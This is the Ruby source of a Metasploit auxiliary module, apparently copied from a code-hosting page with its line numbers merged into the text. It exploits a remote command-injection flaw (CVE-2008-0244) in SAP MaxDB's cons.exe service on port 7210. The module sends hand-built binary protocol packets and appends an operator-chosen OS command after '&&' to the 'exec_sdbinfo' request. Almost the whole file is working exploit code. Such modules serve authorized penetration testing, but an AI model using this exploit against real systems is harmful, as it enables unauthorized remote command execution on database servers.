Path: blob/master/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(10update_info(11info,12'Name' => 'SAP MaxDB cons.exe Remote Command Injection',13'Description' => %q{14SAP MaxDB is prone to a remote command-injection vulnerability15because the application fails to properly sanitize user-supplied input.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' => [20['OSVDB', '40210' ],21['BID', '27206'],22['CVE', '2008-0244'],23],24'DisclosureDate' => '2008-01-09',25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [IOC_IN_LOGS],28'Reliability' => []29}30)31)3233register_options(34[35Opt::RPORT(7210),36OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),37]38)39end4041def run42connect4344# Grab the MaxDB info.45pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"46pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"47pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"48pdbmsrv << "\x00\x07\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00"49pdbmsrv << "\x07\x49\x33\x34\x33\x32\x00\x04\x50\x1C\x2A\x03\x52\x01\x03\x72"50pdbmsrv << "\x01\x09\x70\x64\x62\x6D\x73\x72\x76\x00"5152db_version = "\x28\x00\x00\x00\x03\x3f\x00\x00\x01\x00\x00\x00\xc0\x0b\x00\x00"53db_version << "\x00\x00\x04\x00\x28\x00\x00\x00\x64\x62\x6d\x5f\x76\x65\x72\x73"54db_version << "\x69\x6f\x6e\x20\x20\x20\x20\x20"5556sock.put(pdbmsrv)57sock.get_once58sock.put(db_version)5960ver = sock.get_once || ''6162info = ver[27, 2000]63if !info.empty?64print_status(info)65end6667# Send our command.68len = 39 + datastore['CMD'].length6970data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"71data << "\x00\x00\x04\x00" + len.chr + "\x00\x00\x00\x65\x78\x65\x63\x5F\x73\x64"72data << "\x62\x69\x6E\x66\x6F\x20\x26\x26" + datastore['CMD'].to_s7374sock.put(data)7576res = sock.get_once77print_line(res)7879disconnect80end81end828384